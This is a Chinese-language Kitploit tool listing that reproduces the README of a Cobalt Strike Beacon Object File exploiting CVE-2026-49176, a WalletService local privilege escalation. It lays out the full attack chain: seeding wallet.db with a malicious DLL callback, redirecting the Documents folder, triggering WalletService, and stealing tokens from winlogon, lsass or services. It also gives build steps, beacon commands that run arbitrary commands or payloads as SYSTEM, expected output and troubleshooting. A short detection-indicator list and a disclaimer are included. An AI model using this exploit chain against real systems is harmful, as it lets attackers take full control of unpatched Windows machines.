Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-49176_BOF — CVE-2026-49176 WalletService LPE — 独立 PoC + Cobalt Strike BOF(在交互式会话上执行 SYSTEM 命令) | Kitploit
工具/GitHubGitHub/777erp/cve-2026-49176_bof
权限提升漏洞利用后渗透利用红队Payload 开发
GitHub777erp/cve-2026-49176_bof

CVE-2026-49176_BOF

CVE-2026-49176 WalletService LPE — 独立 PoC + Cobalt Strike BOF(在交互式会话上执行 SYSTEM 命令)

查看仓库
4111个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-49176 Cobalt Strike BOF

用于通过 Windows WalletService(CVE-2026-49176,已于 2026 年 7 月修复)实现本地权限提升的 Cobalt Strike Beacon 对象文件(BOF)。

在中等完整性(标准用户)Beacon 中,该工具会暂存一个恶意的 Wallet ESE 数据库、重定向 Documents 文件夹、触发 WalletService,并以 NT AUTHORITY\SYSTEM 身份在交互式桌面上运行调用者指定的命令行。

仅 BOF 版本。
原始独立 PowerShell PoC:DavidCarliez/CVE-2026-49176_LPE_POC。相同的漏洞根因;不同的投递方式及 SYSTEM 之后的进程启动方式。


免责声明

仅限授权的安全研究、教育和防御性验证使用。


漏洞(与原始 PoC 相同)

WalletService 在模拟调用者时解析 FOLDERID_Documents,然后在打开以下文件之前恢复为 LocalSystem:

root@kitploit:~
<Documents>\Wallet\wallet.db

标准用户可以借助 ESE 用户定义的默认值回调(PATH\payload.dll!Export)预置该数据库,将 Documents 指向受控目录,并调用 WinRT WalletManager.RequestStoreAsync / GetItemsAsync,从而使该服务以 SYSTEM 身份加载该 DLL。

技术文章:CVE-2026-49176 漏洞利用开发:从 WalletService 到 SYSTEM


BOF 与原始 PoC 对比 — 权限提升路径

相同点:如何获得 SYSTEM 代码执行能力

root@kitploit:~
Standard user
  → seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
  → SHSetKnownFolderPath(FOLDERID_Documents) → staging root
  → trigger WalletService (WinRT RequestStore / GetItems)
  → service opens DB as LocalSystem → LoadLibrary(callback DLL)
  → attacker code runs as SYSTEM   ← LPE complete

不同点:回调后的交互式 SYSTEM 进程

WalletService 通常使用过滤后的 SYSTEM 令牌(没有可用的 SeAssignPrimaryToken / SeImpersonate 权限)。直接调用 CreateProcess* → 1314。

root@kitploit:~
Original PoC (post-SYSTEM):
  DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe

This BOF (post-SYSTEM):
  DLL → steal winlogon/services/lsass token → spawn <command>
     → else CreateService(cmd /c broker) → broker → spawn <command>

功能特性

  • 单条 Beacon 命令即可在活动桌面上以 SYSTEM 身份运行任意命令/文件
  • 完整链路线内执行:暂存 → 预置 → 重定向 → 触发 → 等待 → 恢复 Documents
  • 通过 bof_pack("bbZ") 打包 wallet_callback.dll + shell_broker.exe
  • 多策略的 SYSTEM 之后进程派生 + result.txt 诊断
  • 仅支持 x64

环境要求

项目要求
Beaconx64,中等完整性()

目录结构

root@kitploit:~
bof/
├── README.md
├── entry.cpp                 # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│   ├── wallet_callback.c
│   └── shell_broker.c
├── bin/
│   ├── BOF/cve2026_49176.x64.o
│   └── payload/
│       ├── wallet_callback.dll
│       └── shell_broker.exe
└── resources/strip_bof.ps1

构建

root@kitploit:~
cd bof
build.bat
命令输出
build.bat / build.bat bothDLL + broker + x64 BOF
build.bat payload仅 DLL + broker
build.bat clean清理构建产物
root@kitploit:~
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o

如果 VS 不是默认安装路径,请编辑 build.bat 中的 VCVARS64 路径。
关键编译标志:/DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od(CS BOF 链接器安全性要求)。


使用方法

加载

Cobalt Strike → 脚本 → 加载 → cve2026_49176.cna
(每次重新构建后需重新加载。)

命令

root@kitploit:~
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
  • 如果路径中没有空格,则无需外层引号。
  • 可选菜单:Beacon → CVE-2026-49176 → 以 SYSTEM 身份运行命令...

目标上的暂存

root@kitploit:~
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
    ├── wallet_callback.dll
    ├── shell_broker.exe
    ├── command.txt          # UTF-16 LE
    └── result.txt

打包

root@kitploit:~
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)

预期输出

任务行

root@kitploit:~
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]

成功(示例)

root@kitploit:~
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete

detail= 可以是 winlogon、services、lsass 或 broker 路径。

常见失败情况

只要重定向成功,即使失败也会恢复 Documents。


架构

root@kitploit:~
cve2026_49176.cna
  └─ inline-execute(entry.o, go, bbZ)
        entry.cpp
          ├─ stage files under %LOCALAPPDATA%
          ├─ Jet*A seed wallet.db
          ├─ SHSetKnownFolderPath(Documents)
          ├─ WinRT WalletManager trigger
          └─ wait result.txt + restore Documents

wallet_callback.dll (WalletService, SYSTEM)
  ├─ steal winlogon / services / lsass token → spawn command
  └─ fallback: CreateService(cmd /c shell_broker)

shell_broker.exe
  └─ command.txt → CreateProcessAsUser (interactive session)

检测面

  • Documents 已知文件夹被更改
  • %LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + 回调 DLL
  • WalletService 加载用户可写的 DLL
  • 针对 winlogon/lsass/services 的 OpenProcess / 令牌 API
  • 短暂存活的 CVE49176_* 服务
  • 向交互式会话调用 CreateProcessAsUserW / CreateProcessWithTokenW

局限性

  • 仅支持 x64;需要未打补丁的 WalletService
  • 某些系统版本上 Wallet WinRT API 可能不可用/已弃用
  • 暂存目录不会自动删除
  • ESE/WinRT 在 Beacon 内部运行(与进程隔离的原始 PoC 相比存在崩溃风险)

相关资源

链接描述
DavidCarliez/CVE-2026-49176_LPE_POC原始独立 LPE PoC(上游研究 PoC)
技术文章原始研究文章
下载工具
阶段原始 PoC本 BOF
预置 ESE 数据库wallet_ese_seed.exeBOF 内 Jet*A
重定向 Documentsdocuments_path.exeBOF 内 SHGet/SetKnownFolderPath
触发 WalletPowerShell WinRTBOF 内 RoGetActivationFactory
回调 DLLwallet_callback_shell.dllwallet_callback.dll
原始 PoC本 BOF
目标进程硬编码的 cmd.exe操作员提供的命令行
主要方法临时服务 → shell_broker.exe → CreateProcessAsUserW从 winlogon / services / lsass 窃取令牌 → 派生进程
回退方案无SCM + cmd.exe /c "shell_broker.exe" "result.txt"
未提升权限
目标存在漏洞的 WalletService(2026 年 7 月补丁之前)
CS支持 BOF 的 Cobalt Strike 4.x
构建VS 2019/2022 C++ + Windows 10 SDK(esent.h、WinRT)
日志含义
JetAddColumn: -1003ESE 参数问题
error=1314过滤后的 SYSTEM;需要令牌窃取 / broker
STEAL_FAIL error=5无法打开目标进程/令牌
StartService error=32共享冲突(已通过 cmd 包装缓解)
detail=all_methods所有 SYSTEM 之后策略均失败
链接器 Unknown symbol '??_C@_...'BOF 构建标志错误;请使用 build.bat 重新构建